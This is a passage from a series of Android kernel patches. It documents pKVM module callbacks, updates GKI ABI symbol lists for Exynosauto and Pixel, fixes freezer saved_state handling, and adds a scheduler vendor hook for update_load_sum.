a/android/abi_gki_aarch64_pixel b/android/abi_gki_aarch64_pixel index 9909f57ce909..33eb40d3a41f 100644 --- a/android/abi_gki_aarch64_pixel +++ b/android/abi_gki_aarch64_pixel @@ -539,6 +539,7 @@ dma_buf_vunmap dmaengine_unmap_put dma_fence_add_callback + dma_fence_array_create dma_fence_context_alloc dma_fence_default_wait dma_fence_get_status From af85ead8ce9c66704a604874b21e3cea6946442d Mon Sep 17 00:00:00 2001 From: Vincent Donnefort Date: Tue, 7 Nov 2023 17:32:15 +0000 Subject: [PATCH 16/21] ANDROID: KVM: arm64: pkvm_module_ops documentation This structure is at the heart of the module support for pKVM. Add a description to help anyone trying to create a module. Bug: 312200309 Change-Id: Ie1d9043a6a94d15dd8ef25c6f0f8d442da26bc1f Signed-off-by: Vincent Donnefort --- arch/arm64/include/asm/kvm_pkvm_module.h | 101 +++++++++++++++++++++++ 1 file changed, 101 insertions(+) diff --git a/arch/arm64/include/asm/kvm_pkvm_module.h b/arch/arm64/include/asm/kvm_pkvm_module.h index 28c32711c1f3..5752e1d11abd 100644 --- a/arch/arm64/include/asm/kvm_pkvm_module.h +++ b/arch/arm64/include/asm/kvm_pkvm_module.h @@ -16,6 +16,107 @@ enum pkvm_psci_notification { }; #ifdef CONFIG_MODULES +/** + * struct pkvm_module_ops - pKVM modules callbacks + * @create_private_mapping: Map a memory region into the hypervisor private + * range. @haddr returns the virtual address where + * the mapping starts. It can't be unmapped. Host + * access permissions are unaffected. + * @alloc_module_va: Reserve a range of VA space in the hypervisor + * private range. This is handy for modules that + * need to map plugin code in a similar fashion to + * how pKVM maps module code. That space could also + * be used to map memory temporarily, when the + * fixmap granularity (PAGE_SIZE) is too small. + * @map_module_page: Used in conjunction with @alloc_module_va. When + * @is_protected is not set, the page is also + * unmapped from the host stage-2. + * @register_serial_driver: Register a driver for a serial interface. The + * framework only needs a single callback + * @hyp_putc_cb which is expected to print a single + * character. + * @puts: If a serial interface is registered, print a + * string, else does nothing. + * @putx64: If a serial interface is registered, print a + * 64-bit number, else does nothing. + * @fixmap_map: Map a page in the per-CPU hypervisor fixmap. + * This is intended to be used for temporary + * mappings in the hypervisor VA space. + * @fixmap_unmap must be called between each + * mapping to do cache maintenance and ensure the + * new mapping is visible. + * @fixmap_unmap: Unmap a page from the hypervisor fixmap. This + * call is required between each @fixmap_map(). + * @linear_map_early: Map a large portion of memory into the + * hypervisor linear VA space. This is intended to + * be used only for module bootstrap and must be + * unmapped before the host is deprivilged. + * @linear_unmap_early: See @linear_map_early. + * @flush_dcache_to_poc: Clean the data cache to the point of coherency. + * This is not a requirement for any other of the + * pkvm_module_ops callbacks. + * @update_hcr_el2: Modify the running value of HCR_EL2. pKVM will + * save/restore the new value across power + * management transitions. + * @update_hfgwtr_el2: Modify the running value of HFGWTR_EL2. pKVM + * will save/restore the new value across power + * management transitions. + * @register_host_perm_fault_handler: + * @cb is called whenever the host generates an + * abort with the fault status code Permission + * Fault. Returning -EPERM lets pKVM handle the + * abort. This is useful when a module changes the + * host stage-2 permissions for certain pages. + * @host_stage2_mod_prot: Apply @prot to the page @pfn. This requires a + * permission fault handler to be registered (see + * @register_host_perm_fault_handler), otherwise + * pKVM will be unable to handle this fault and the + * CPU will be stuck in an infinite loop. + * @host_stage2_get_leaf: Query the host's stage2 page-table entry for + * the page @phys. + * @register_host_smc_handler: @cb is called whenever the host issues an SMC + * pKVM couldn't handle. If @cb returns false, the + * SMC will be forwarded to EL3. + * @register_default_trap_handler: + * @cb is called whenever EL2 traps EL1 and pKVM + * has not handled it. If @cb returns false, the + * hypervisor will panic. This trap handler must be + * registered whenever changes are made to HCR + * (@update_hcr_el2) or HFGWTR + * (@update_hfgwtr_el2). + * @register_illegal_abt_notifier: + * To notify the module of a pending illegal abort + * from the host. On @cb return, the abort will be + * injected back into the host. + * @register_psci_notifier: To notify the module of a pending PSCI event. + * @register_hyp_panic_notifier: + * To notify the module of a pending hypervisor + * panic. On return from @cb, the panic will occur. + * @host_donate_hyp: The page @pfn is unmapped from the host and + * full control is given to the hypervisor. + * @hyp_donate_host: The page @pfn whom control has previously been + * given to the hypervisor (@host_donate_hyp) is + * given back to the host. + * @host_share_hyp: The page @pfn will be shared between the host + * and the hypervisor. Must be followed by + * @pin_shared_mem. + * @host_unshare_hyp: The page @pfn will be unshared and unmapped from + * the hypervisor. Must be called after + * @unpin_shared_mem. + * @pin_shared_mem: After @host_share_hyp, the newly shared page is + * still owned by the host. @pin_shared_mem will + * prevent the host from reclaiming that page until + * the hypervisor releases it (@unpin_shared_mem) + * @unpin_shared_mem: Enable the host to reclaim the shared memory + * (@host_unshare_hyp). + * @memcpy: Same as kernel memcpy, but use hypervisor VAs. + * @memset: Same as kernel memset, but use a hypervisor VA. + * @hyp_pa: Return the physical address for a hypervisor + * virtual address in the linear range. + * @hyp_va: Convert a physical address into a virtual one. + * @kern_hyp_va: Convert a kernel virtual address into an + * hypervisor virtual one. + */ struct pkvm_module_ops { int (*create_private_mapping)(phys_addr_t phys, size_t size, enum kvm_pgtable_prot prot, From 6e3127c7bae2e96534b1febc73b744ff1680a541 Mon Sep 17 00:00:00 2001 From: Junho Cha Date: Wed, 22 Nov 2023 15:47:42 +0900 Subject: [PATCH 17/21] ANDROID: GKI: add allowed list for Exynosauto SoC This patch adds GKI symbol list for Exynosauto SoC. We need to add below 3 function symbols and it required by DP MST of DRM(Direct Rendering Manager) driver. 3 function symbol(s) added 'int drm_connector_set_path_property(struct drm_connector*, const char*)' 'int drm_helper_probe_detect(struct drm_connector*, struct drm_modeset_acquire_ctx*, bool)' 'int of_graph_get_endpoint_count(const struct device_node*)' Bug: 313751443 Change-Id: I3a7e212f598d50f21ee2272ccb18ceaa5af72f42 Signed-off-by: Junho Cha --- android/abi_gki_aarch64.stg | 41 ++++++ android/abi_gki_aarch64_exynosauto | 223 ++++++++++++++++------------- 2 files changed, 161 insertions(+), 103 deletions(-) diff --git a/android/abi_gki_aarch64.stg b/android/abi_gki_aarch64.stg index ec672a81b884..637eb2907716 100644 --- a/android/abi_gki_aarch64.stg +++ b/android/abi_gki_aarch64.stg @@ -304639,6 +304639,11 @@ function { parameter_id: 0x31066a10 parameter_id: 0x32f690bf } +function { + id: 0x910bc03d + return_type_id: 0x6720d32f + parameter_id: 0x322c8c4b +} function { id: 0x910c3195 return_type_id: 0x6720d32f @@ -304712,6 +304717,12 @@ function { parameter_id: 0x0c0dfa25 parameter_id: 0x3382a638 } +function { + id: 0x9115c860 + return_type_id: 0x6720d32f + parameter_id: 0x31b5a66f + parameter_id: 0x3e10b518 +} function { id: 0x9115faa6 return_type_id: 0x6720d32f @@ -354713,6 +354724,15 @@ elf_symbol { type_id: 0x93e51922 full_name: "drm_connector_set_panel_orientation" } +elf_symbol { + id: 0xcf3c9405 + name: "drm_connector_set_path_property" + is_defined: true + symbol_type: FUNCTION + crc: 0x68f96c58 + type_id: 0x9115c860 + full_name: "drm_connector_set_path_property" +} elf_symbol { id: 0xe4a41c47 name: "drm_connector_unregister" @@ -356027,6 +356047,15 @@ elf_symbol { type_id: 0x1e597e38 full_name: "drm_helper_move_panel_connectors_to_head" } +elf_symbol { + id: 0x06afbf8f + name: "drm_helper_probe_detect" + is_defined: true + symbol_type: FUNCTION + crc: 0xfbd3d75f + type_id: 0x91f8e2fb + full_name: "drm_helper_probe_detect" +} elf_symbol { id: 0x25989156 name: "drm_helper_probe_single_connector_modes" @@ -371975,6 +372004,15 @@ elf_symbol { type_id: 0x7bfdb6bc full_name: "of_graph_get_endpoint_by_regs" } +elf_symbol { + id: 0xc5a4cedf + name: "of_graph_get_endpoint_count" + is_defined: true + symbol_type: FUNCTION + crc: 0x1396a5ec + type_id: 0x910bc03d + full_name: "of_graph_get_endpoint_count" +} elf_symbol { id: 0x377ef2e6 name: "of_graph_get_next_endpoint" @@ -399280,6 +399318,7 @@ interface { symbol_id: 0x8069ccc3 symbol_id: 0xbe9b3f22 symbol_id: 0xb9cc9c24 + symbol_id: 0xcf3c9405 symbol_id: 0xe4a41c47 symbol_id: 0x33f2cc93 symbol_id: 0x1773ebf6 @@ -399426,6 +399465,7 @@ interface { symbol_id: 0x213004ed symbol_id: 0xc62eba2d symbol_id: 0x0869dd10 + symbol_id: 0x06afbf8f symbol_id: 0x25989156 symbol_id: 0x3a6e27e9 symbol_id: 0xec79cf1c @@ -401198,6 +401238,7 @@ interface { symbol_id: 0xcbfc5627 symbol_id: 0xee3e4c4b symbol_id: 0x083944d7 + symbol_id: 0xc5a4cedf symbol_id: 0x377ef2e6 symbol_id: 0xd87751ae symbol_id: 0xd3bfa538 diff --git a/android/abi_gki_aarch64_exynosauto b/android/abi_gki_aarch64_exynosauto index 018959e96b2b..1e8246795df8 100644 --- a/android/abi_gki_aarch64_exynosauto +++ b/android/abi_gki_aarch64_exynosauto @@ -1,6 +1,5 @@ [abi_symbol_list] # commonly used symbols - add_wait_queue __alloc_pages __alloc_percpu alloc_workqueue @@ -34,6 +33,7 @@ class_destroy clk_disable clk_enable + clk_get __clk_get_hw clk_get_rate clk_hw_get_parent @@ -44,13 +44,13 @@ clk_register_fixed_rate clk_set_rate clk_unprepare - clk_unregister cma_alloc cma_release complete complete_all __const_udelay __copy_overflow + cpu_bit_bitmap __cpuhp_setup_state cpu_hwcaps cpu_number @@ -58,13 +58,11 @@ cpu_pm_register_notifier __cpu_possible_mask crc32_le - current_work debugfs_create_dir debugfs_create_file debugfs_create_u32 debugfs_remove default_llseek - default_wake_function delayed_work_timer_fn del_timer del_timer_sync @@ -119,7 +117,6 @@ devm_regulator_register devm_request_threaded_irq __devm_reset_control_get - devm_rtc_device_register devm_snd_soc_register_card devm_snd_soc_register_component devm_thermal_of_zone_register @@ -164,6 +161,7 @@ dma_resv_iter_next dma_set_coherent_mask dma_set_mask + dma_sync_sg_for_cpu dma_sync_sg_for_device dma_sync_single_for_cpu dma_sync_single_for_device @@ -179,6 +177,8 @@ drm_atomic_helper_connector_destroy_state drm_atomic_helper_connector_duplicate_state drm_atomic_helper_connector_reset + __drm_atomic_helper_private_obj_duplicate_state + drm_atomic_private_obj_init drm_bridge_add drm_bridge_remove drm_compat_ioctl @@ -242,6 +242,7 @@ drm_modeset_unlock drm_mode_vrefresh drm_object_attach_property + drm_object_property_set_value drm_open drm_poll drm_prime_gem_destroy @@ -279,6 +280,7 @@ gen_pool_size get_device get_random_bytes + get_random_u32 get_unused_fd_flags gic_nonsecure_priorities gpiod_direction_input @@ -286,6 +288,8 @@ gpiod_get_raw_value gpiod_set_raw_value gpiod_set_value_cansleep + gpio_free + gpio_request gpio_request_one gpio_to_desc handle_edge_irq @@ -297,6 +301,8 @@ i2c_add_numbered_adapter i2c_del_adapter i2c_del_driver + i2c_get_adapter + i2c_new_client_device i2c_register_driver i2c_transfer i2c_unregister_device @@ -350,26 +356,31 @@ kmem_cache_free kmemdup kobject_create_and_add - kobject_init_and_add - kobject_put krealloc kstrdup kstrtobool kstrtoint kstrtoll + kstrtou16 + kstrtou8 kstrtouint kstrtoull - kthread_complete_and_exit kthread_create_on_node + kthread_flush_work + __kthread_init_worker kthread_park kthread_parkme + kthread_queue_work kthread_should_park kthread_should_stop kthread_stop kthread_unpark + kthread_worker_fn ktime_get ktime_get_mono_fast_ns ktime_get_real_ts64 + ktime_get_ts64 + ktime_get_with_offset kvfree kvmalloc_node __list_add_valid @@ -379,11 +390,7 @@ log_read_mmio log_write_mmio loops_per_jiffy - mdiobus_alloc_size - mdiobus_free - mdiobus_get_phy mdiobus_read - mdiobus_unregister mdiobus_write memcpy memdup_user @@ -396,9 +403,7 @@ mipi_dsi_device_unregister mipi_dsi_driver_register_full mipi_dsi_driver_unregister - misc_deregister misc_register - mod_delayed_work_on mod_timer module_layout __msecs_to_jiffies @@ -412,8 +417,6 @@ netdev_err netdev_info netdev_warn - netif_carrier_off - nonseekable_open noop_llseek nr_cpu_ids ns_to_timespec64 @@ -421,7 +424,6 @@ of_address_to_resource of_alias_get_id of_clk_add_provider - of_clk_del_provider of_clk_get of_clk_src_onecell_get of_count_phandle_with_args @@ -433,7 +435,6 @@ of_find_matching_node_and_match of_find_mipi_dsi_host_by_node of_find_node_by_name - of_find_node_opts_by_path of_find_property of_get_child_by_name of_get_display_timings @@ -446,7 +447,6 @@ of_iomap of_match_device of_match_node - __of_mdiobus_register of_n_addr_cells of_n_size_cells __of_parse_phandle_with_args @@ -487,7 +487,7 @@ __per_cpu_offset perf_trace_buf_alloc perf_trace_run_bpf_submit - phy_attached_info + phy_configure phy_init_eee phylink_create phylink_generic_validate @@ -495,12 +495,9 @@ phy_power_on pinctrl_lookup_state pinctrl_select_state - platform_device_register_full platform_device_unregister - __platform_driver_probe __platform_driver_register platform_driver_unregister - platform_find_device_by_driver platform_get_irq platform_get_irq_byname platform_get_irq_byname_optional @@ -524,7 +521,6 @@ prepare_to_wait_event print_hex_dump _printk - proc_create_data put_device __put_task_struct put_unused_fd @@ -551,7 +547,6 @@ __register_chrdev register_console register_pm_notifier - register_restart_handler register_syscore_ops regmap_read regmap_update_bits_base @@ -564,14 +559,13 @@ regulator_map_voltage_linear release_firmware __release_region - remove_proc_entry - remove_wait_queue request_firmware __request_region request_threaded_irq reset_control_assert reset_control_deassert sched_clock + sched_set_fifo schedule schedule_timeout scnprintf @@ -580,6 +574,7 @@ seq_putc seq_puts seq_read + set_cpus_allowed_ptr sg_alloc_table sg_free_table sg_init_table @@ -590,7 +585,6 @@ simple_attr_write simple_open simple_read_from_buffer - simple_strtoul simple_write_to_buffer single_open single_release @@ -634,6 +628,7 @@ __sw_hweight32 sync_file_create syscon_regmap_lookup_by_phandle + sysfs_create_file_ns sysfs_create_group sysfs_create_groups sysfs_emit @@ -657,15 +652,28 @@ __usecs_to_jiffies usleep_range_state v4l2_device_register + v4l2_device_register_subdev v4l2_device_unregister + v4l2_device_unregister_subdev v4l2_fh_add v4l2_fh_del v4l2_fh_exit v4l2_fh_init + v4l2_subdev_call_wrappers + v4l2_subdev_init vb2_buffer_done vb2_dma_sg_memops + vb2_dqbuf vb2_plane_cookie + vb2_plane_vaddr + vb2_poll + vb2_qbuf + vb2_querybuf vb2_queue_init + vb2_queue_release + vb2_reqbufs + vb2_streamoff + vb2_streamon vfree video_devdata video_device_alloc @@ -678,7 +686,7 @@ vmap vsnprintf vunmap - wait_for_completion + vzalloc wait_for_completion_interruptible_timeout wait_for_completion_timeout __wake_up @@ -733,9 +741,7 @@ drm_atomic_get_new_private_obj_state drm_atomic_get_old_private_obj_state drm_atomic_get_private_obj_state - __drm_atomic_helper_private_obj_duplicate_state drm_atomic_private_obj_fini - drm_atomic_private_obj_init drm_crtc_commit_wait drm_crtc_wait_one_vblank __drm_debug @@ -744,7 +750,6 @@ drm_edid_duplicate drm_edid_get_monitor_name drm_modeset_lock_single_interruptible - drm_object_property_set_value __drm_printfn_debug memchr_inv __sw_hweight8 @@ -772,6 +777,7 @@ nr_irqs proc_create register_die_notifier + register_restart_handler return_address rtc_time64_to_tm sys_tz @@ -821,7 +827,6 @@ tty_std_termios tty_unregister_driver unregister_console - vzalloc # required by dwc3-exynosauto-usb.ko device_create_managed_software_node @@ -867,10 +872,13 @@ freq_qos_add_request freq_qos_update_request get_cpu_device - sysfs_create_file_ns system_state +# required by exynos-adv-tracer-s2d.ko + simple_strtoul + # required by exynos-chipid_v2.ko + of_find_node_opts_by_path soc_device_register subsys_system_register @@ -900,6 +908,7 @@ pm_genpd_init # required by exynos9drm.ko + add_wait_queue bus_find_device component_add component_bind_all @@ -936,6 +945,7 @@ drm_atomic_helper_update_plane drm_atomic_helper_wait_for_vblanks drm_bridge_attach + drm_connector_set_path_property drm_crtc_arm_vblank_event drm_crtc_handle_vblank drm_crtc_init_with_planes @@ -953,6 +963,7 @@ drm_gem_vm_open drm_get_connector_status_name drm_get_format_info + drm_helper_probe_detect drm_mode_config_helper_resume drm_mode_config_helper_suspend drm_mode_config_reset @@ -971,6 +982,7 @@ drm_plane_create_zpos_immutable_property drm_plane_create_zpos_property __drm_printfn_info + drm_property_blob_put drm_property_create drm_property_create_blob drm_rotation_simplify @@ -980,13 +992,13 @@ drm_writeback_queue_job drm_writeback_signal_completion gpiod_to_irq - kstrtou8 mipi_dsi_host_register mipi_dsi_host_unregister of_drm_find_bridge of_drm_find_panel of_find_i2c_device_by_node of_graph_get_endpoint_by_regs + of_graph_get_endpoint_count of_graph_get_next_endpoint of_graph_get_port_by_id of_graph_get_remote_port @@ -995,14 +1007,13 @@ of_phandle_iterator_next param_ops_long platform_bus_type + platform_find_device_by_driver seq_hex_dump seq_release - strnstr synchronize_irq vmalloc_to_page # required by exynos_mfc.ko - clk_get clk_put hex_dump_to_buffer iommu_map @@ -1010,15 +1021,6 @@ iommu_unmap __sw_hweight64 _totalram_pages - vb2_dqbuf - vb2_plane_vaddr - vb2_poll - vb2_qbuf - vb2_querybuf - vb2_queue_release - vb2_reqbufs - vb2_streamoff - vb2_streamon # required by exynos_pm_qos.ko kstrtoint_from_user @@ -1048,10 +1050,16 @@ # required by exynosauto_v920_thermal.ko devm_thermal_of_zone_unregister + kthread_delayed_work_timer_fn + kthread_mod_delayed_work of_thermal_get_ntrips + strncasecmp + thermal_cdev_update # required by gpu-sched.ko + mod_delayed_work_on sched_set_fifo_low + wait_for_completion __xa_alloc xa_destroy xa_erase @@ -1084,7 +1092,6 @@ i2c_adapter_type i2c_bus_type i2c_for_each_dev - i2c_get_adapter i2c_put_adapter i2c_smbus_xfer i2c_transfer_buffer_flags @@ -1092,11 +1099,9 @@ register_chrdev_region unregister_chrdev_region -# required by i2c-exynosauto.ko - cpu_bit_bitmap - # required by lontium-lt9611.ko drm_hdmi_avi_infoframe_from_display_mode + platform_device_register_full regmap_multi_reg_write regulator_set_load @@ -1115,7 +1120,6 @@ # required by phy-exynosauto-usbdrd-super.ko __clk_is_enabled - gpio_request # required by pinctrl-samsung-core.ko device_get_next_child_node @@ -1185,6 +1189,7 @@ phy_write_paged # required by rtc-s2vps02.ko + devm_rtc_device_register pm_wakeup_ws_event rtc_update_irq rtc_valid_tm @@ -1193,6 +1198,26 @@ __devm_irq_alloc_descs handle_nested_irq +# required by sam-is.ko + down + down_trylock + get_task_pid + kernel_neon_begin + kernel_neon_end + kobject_del + kthread_flush_worker + pm_relax + pm_stay_awake + register_reboot_notifier + regulator_get_optional + regulator_get_voltage + regulator_is_enabled + regulator_put + regulator_set_voltage + unregister_reboot_notifier + vb2_mmap + vscnprintf + # required by samsung-bridge-dummy.ko drm_atomic_helper_bridge_propagate_bus_fmt @@ -1219,9 +1244,9 @@ dma_heap_get_dev dma_heap_get_drvdata dma_heap_get_name - dma_sync_sg_for_cpu is_dma_buf_file iterate_fd + misc_deregister remap_pfn_range __sg_page_iter_next __sg_page_iter_start @@ -1370,11 +1395,9 @@ __fdget _find_first_zero_bit __folio_put - get_random_u32 __get_task_comm handle_simple_irq i2c_bit_add_bus - i2c_new_client_device ida_destroy idr_alloc idr_destroy @@ -1386,7 +1409,7 @@ iommu_iova_to_phys jiffies64_to_msecs jiffies_to_usecs - ktime_get_ts64 + kobject_put __memcpy_fromio __memcpy_toio memremap @@ -1539,7 +1562,6 @@ snd_soc_dapm_put_volsw # required by spi-exynosauto.ko - gpio_free __spi_alloc_controller spi_controller_resume spi_controller_suspend @@ -1595,6 +1617,10 @@ fwnode_get_phy_node get_device_system_crosststamp __local_bh_enable_ip + mdiobus_alloc_size + mdiobus_free + mdiobus_get_phy + mdiobus_unregister mdio_device_create mdio_device_free __napi_alloc_skb @@ -1608,6 +1634,7 @@ netdev_pick_tx netdev_rss_key_fill netdev_update_features + netif_carrier_off netif_carrier_on netif_device_attach netif_device_detach @@ -1618,11 +1645,13 @@ netif_set_real_num_tx_queues netif_tx_wake_queue net_ratelimit + __of_mdiobus_register page_pool_alloc_pages page_pool_create page_pool_destroy page_pool_put_defragged_page page_pool_release_page + phy_attached_info phylink_connect_phy phylink_destroy phylink_disconnect_phy @@ -1719,58 +1748,28 @@ ufshcd_system_resume ufshcd_system_suspend -# required by vbufq-fe-module.ko - kstrndup - -# required by vdriver-lib-module.ko - kobject_get - kset_create_and_add - -# required by vi2c-fe-module.ko - down - -# required by vlx-clk-ctrl-common-module.ko - vscnprintf - -# required by vlx-hyp-module.ko - irq_create_of_mapping - irq_dispose_mapping - irq_find_matching_fwspec - of_irq_find_parent - pfn_is_map_memory - pm_power_off - proc_mkdir - -# required by vlx-last-kmsg-module.ko - proc_set_size - -# required by vlx-prop-module.ko - kobject_uevent - kset_unregister - sysfs_create_bin_file - sysfs_remove_bin_file - -# required by vlx-vipc-module.ko - sigprocmask - -# required by vthermal-fe-module.ko - thermal_of_zone_register - thermal_of_zone_unregister - -# required by vvideo2-fe-module.ko - dma_buf_fd - __task_pid_nr_ns - vprintk - -# required by vwatchdog-module.ko - watchdog_register_device - watchdog_unregister_device - # preserved by --additions-only + clk_unregister console_suspend_enabled + current_work + default_wake_function + dma_buf_fd dw_pcie_ep_init dw_pcie_read_dbi dw_pcie_write_dbi + irq_create_of_mapping + irq_dispose_mapping + irq_find_matching_fwspec + kobject_get + kobject_init_and_add + kobject_uevent + kset_create_and_add + kset_unregister + kstrndup + kthread_complete_and_exit + nonseekable_open + of_clk_del_provider + of_irq_find_parent pci_disable_device pci_disable_msi pci_enable_device @@ -1784,3 +1783,21 @@ __pci_register_driver pci_request_regions pci_unregister_driver + pfn_is_map_memory + __platform_driver_probe + pm_power_off + proc_create_data + proc_mkdir + proc_set_size + remove_proc_entry + remove_wait_queue + sigprocmask + strnstr + sysfs_create_bin_file + sysfs_remove_bin_file + __task_pid_nr_ns + thermal_of_zone_register + thermal_of_zone_unregister + vprintk + watchdog_register_device + watchdog_unregister_device From 2a5c5d7c47d52558eeb1c44afc68caa48cb719ad Mon Sep 17 00:00:00 2001 From: Elliot Berman Date: Mon, 20 Nov 2023 09:36:31 -0800 Subject: [PATCH 18/21] FROMGIT: freezer,sched: do not restore saved_state of a thawed task It is possible for a task to be thawed multiple times when mixing the *legacy* cgroup freezer and system-wide freezer. To do this, freeze the cgroup, do system-wide freeze/thaw, then thaw the cgroup. When this happens, then a stale saved_state can be written to the task's state and cause task to hang indefinitely. Fix this by only trying to thaw tasks that are actually frozen. This change also has the marginal benefit avoiding unnecessary wake_up_state(p, TASK_FROZEN) if we know the task is already thawed. There is not possibility of time-of-compare/time-of-use race when we skip the wake_up_state because entering/exiting TASK_FROZEN is guarded by freezer_lock. Fixes: 8f0eed4a78a8 ("freezer,sched: Use saved_state to reduce some spurious wakeups") Signed-off-by: Elliot Berman Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Abhijeet Dharmapurikar Link: https://lore.kernel.org/r/20231120-freezer-state-multiple-thaws-v1-1-f2e1dd7ce5a2@quicinc.com Bug: 292064955 Bug: 312992017 (cherry picked from commit 23ab79e8e469e2605beec2e3ccb40d19c68dd2e0 https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git sched/urgent) Change-Id: I09cb09a3ef3641c71e3b3156bc3a9a3e69d4966e Signed-off-by: Qi Feng Signed-off-by: Elliot Berman --- kernel/freezer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kernel/freezer.c b/kernel/freezer.c index abd7f58cfe04..c5092209c609 100644 --- a/kernel/freezer.c +++ b/kernel/freezer.c @@ -205,7 +205,7 @@ void __thaw_task(struct task_struct *p) if (WARN_ON_ONCE(freezing(p))) goto unlock; - if (task_call_func(p, __restore_freezer_state, NULL)) + if (!frozen(p) || task_call_func(p, __restore_freezer_state, NULL)) goto unlock; wake_up_state(p, TASK_FROZEN); From eba89bbb6f0b3043fcaa15ee3fe0de2000c080f9 Mon Sep 17 00:00:00 2001 From: Elliot Berman Date: Mon, 20 Nov 2023 09:36:32 -0800 Subject: [PATCH 19/21] FROMGIT: freezer,sched: clean saved_state when restoring it during thaw Clean saved_state after using it during thaw. Cleaning the saved_state allows us to avoid some unnecessary branches in ttwu_state_match. Signed-off-by: Elliot Berman Signed-off-by: Peter Zijlstra (Intel) Link: https://lore.kernel.org/r/20231120-freezer-state-multiple-thaws-v1-2-f2e1dd7ce5a2@quicinc.com Bug: 292064955 Bug: 312992017 (cherry picked from commit 418146e39891ef1fb2284dee4cabbfe616cd21cf https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git sched/core) Change-Id: I245593122edecb1dc9c354c36b59da057d4f4e00 Signed-off-by: Elliot Berman --- kernel/freezer.c | 1 + 1 file changed, 1 insertion(+) diff --git a/kernel/freezer.c b/kernel/freezer.c index c5092209c609..a576b00be9e4 100644 --- a/kernel/freezer.c +++ b/kernel/freezer.c @@ -191,6 +191,7 @@ static int __restore_freezer_state(struct task_struct *p, void *arg) if (state != TASK_RUNNING) { WRITE_ONCE(p->__state, state); + p->saved_state = TASK_RUNNING; return 1; } From 0d97bca80a8f680f1fbf4b2a441c6ac581b8956a Mon Sep 17 00:00:00 2001 From: Chungkai Mei Date: Thu, 2 Nov 2023 05:31:05 +0000 Subject: [PATCH 20/21] ANDROID: sched: Add vendor hook for update_load_sum vendor may have the need to modify update_load_sum function Bug: 181105055 Change-Id: I35964977a4b8917c62773d48a37340f880774e38 Signed-off-by: Chungkai Mei (cherry picked from commit 984523c368423410bf53ca4c68402897d160c5dd) --- include/trace/hooks/sched.h | 5 +++++ kernel/sched/pelt.c | 4 ++++ kernel/sched/vendor_hooks.c | 1 + 3 files changed, 10 insertions(+) diff --git a/include/trace/hooks/sched.h b/include/trace/hooks/sched.h index 29396d044885..b0b039453951 100644 --- a/include/trace/hooks/sched.h +++ b/include/trace/hooks/sched.h @@ -419,6 +419,11 @@ DECLARE_RESTRICTED_HOOK(android_rvh_update_load_avg, TP_PROTO(u64 now, struct cfs_rq *cfs_rq, struct sched_entity *se), TP_ARGS(now, cfs_rq, se), 1); + +DECLARE_RESTRICTED_HOOK(android_rvh_update_load_sum, + TP_PROTO(struct sched_avg *sa, u64 *delta, unsigned int *sched_pelt_lshift), + TP_ARGS(sa, delta, sched_pelt_lshift), 1); + DECLARE_RESTRICTED_HOOK(android_rvh_remove_entity_load_avg, TP_PROTO(struct cfs_rq *cfs_rq, struct sched_entity *se), TP_ARGS(cfs_rq, se), 1); diff --git a/kernel/sched/pelt.c b/kernel/sched/pelt.c index c1c84f5a3c03..648de1ffe7cd 100644 --- a/kernel/sched/pelt.c +++ b/kernel/sched/pelt.c @@ -24,6 +24,8 @@ * Author: Vincent Guittot */ +#include + /* * Approximate: * val * y^n, where y^32 ~= 0.5 (~1 scheduling period) @@ -202,6 +204,8 @@ ___update_load_sum(u64 now, struct sched_avg *sa, sa->last_update_time += delta << 10; + trace_android_rvh_update_load_sum(sa, &delta, &sched_pelt_lshift); + /* * running is a subset of runnable (weight) so running can't be set if * runnable is clear. But there are some corner cases where the current diff --git a/kernel/sched/vendor_hooks.c b/kernel/sched/vendor_hooks.c index af7b4c5ba399..5a195b3e9602 100644 --- a/kernel/sched/vendor_hooks.c +++ b/kernel/sched/vendor_hooks.c @@ -105,6 +105,7 @@ EXPORT_TRACEPOINT_SYMBOL_GPL(android_vh_set_sugov_sched_attr); EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_set_iowait); EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_attach_entity_load_avg); EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_detach_entity_load_avg); +EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_update_load_sum); EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_update_load_avg); EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_remove_entity_load_avg); EXPORT_TRACEPOINT_SYMBOL_GPL(android_rvh_update_blocked_fair); From ceb6ff1a6954c58f61354fcef58fd17af3ec5dad Mon Sep 17 00:00:00 2001 From: Chungkai Mei Date: Mon, 27 Nov 2023 07:03:20 +0000 Subject: [PATCH 21/21] ANDROID: Update the ABI symbol list Adding the following symbols: - __traceiter_android_rvh_update_load_sum - __tracepoint_android_rvh_update_load_sum Bug: 181105055 Change-Id: Ie70d640f252f40af86aff48bcf2d5cfd80485393 Signed-off-by: Chungkai Mei --- android/abi_gki_aarch64.stg | 28 ++++++++++++++++++++++++++++ android/abi_gki_aarch64_pixel | 2 ++ 2 files changed, 30 insertions(+) diff --git a/android/abi_gki_aarch64.stg b/android/abi_gki_aarch64.stg index 637eb2907716..bdcc3dc86254 100644 --- a/android/abi_gki_aarch64.stg +++ b/android/abi_gki_aarch64.stg @@ -316412,6 +316412,14 @@ function { parameter_id: 0x0400f16a parameter_id: 0x4585663f } +function { + id: 0x9b555663 + return_type_id: 0x6720d32f + parameter_id: 0x18bd6530 + parameter_id: 0x3c417e01 + parameter_id: 0x2e18f543 + parameter_id: 0x1bf16028 +} function { id: 0x9b555e72 return_type_id: 0x6720d32f @@ -334620,6 +334628,15 @@ elf_symbol { type_id: 0x99e4a009 full_name: "__traceiter_android_rvh_update_load_avg" } +elf_symbol { + id: 0x6fdb7fd2 + name: "__traceiter_android_rvh_update_load_sum" + is_defined: true + symbol_type: FUNCTION + crc: 0x2e9c5a7a + type_id: 0x9b555663 + full_name: "__traceiter_android_rvh_update_load_sum" +} elf_symbol { id: 0x16809a5a name: "__traceiter_android_rvh_update_misfit_status" @@ -338562,6 +338579,15 @@ elf_symbol { type_id: 0x18ccbd2c full_name: "__tracepoint_android_rvh_update_load_avg" } +elf_symbol { + id: 0x51c819cc + name: "__tracepoint_android_rvh_update_load_sum" + is_defined: true + symbol_type: OBJECT + crc: 0x885815ef + type_id: 0x18ccbd2c + full_name: "__tracepoint_android_rvh_update_load_sum" +} elf_symbol { id: 0x1362c5b0 name: 